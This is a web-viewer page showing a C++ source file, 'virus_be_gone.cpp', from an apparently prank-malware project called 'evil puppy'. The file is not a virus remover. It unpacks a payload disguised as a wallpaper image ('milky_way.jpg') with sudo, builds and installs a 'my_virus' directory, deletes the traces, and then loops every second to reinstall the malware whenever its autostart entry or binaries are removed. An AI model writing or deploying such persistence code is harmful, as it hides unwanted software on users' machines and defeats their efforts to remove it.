aboutsummaryrefslogtreecommitdiffstats
path: root/evil_puppy/virus_be_gone.cpp
blob: 2c5f0df38b87dd5efba346b06b4bda44ed78eb13 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// Reinstall missing files (Unix version).
// Evil mods only.

// C/C++ libary.
#include <cstdio>
#include <cstdlib>
#include <cerrno>

// Unix libary.
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

// Make sure the path ends in '/' or '\' on windows.
//#define backup_dir "/usr/share/backgrounds/"
#define backup_dir "/usr/share/backgrounds/"
#define backup_data "milky_way.jpg"

char install_script[] = 
"cd %s; "
"sudo unzip %s; "
"cd my_virus; "
"make -i install; "
"cd ..; "
"sudo rm -rf my_virus";

bool file_ext(const char * file_path) {
	struct stat file_stats;

	if (stat(file_path, &file_stats) == 0)
		return true;
	return false;
}

int main() {
	char script_buf[sizeof(install_script) * 4];

	sprintf(script_buf, install_script,
			backup_dir,
			backup_data);
	system(script_buf);

	char fluff_puppy_path[255];
	sprintf(fluff_puppy_path, "/home/%s/.config/autostart/fluffy_puppy.desktop", getlogin());

	while (true) {
		if (!file_ext(fluff_puppy_path))
			system(script_buf);
		else if (!file_ext("/usr/local/bin/fluffy_puppy"))
			system(script_buf);
		else if (!file_ext("/usr/local/bin/run_evil_puppy"))
			system(script_buf);
		else if (!file_ext("/usr/local/share/evil_virus"))
			system(script_buf);
		else if (!file_ext("/usr/local/share/evil_virus/dog.png"))
			system(script_buf);

		sleep(1);
	}

	return 0;
}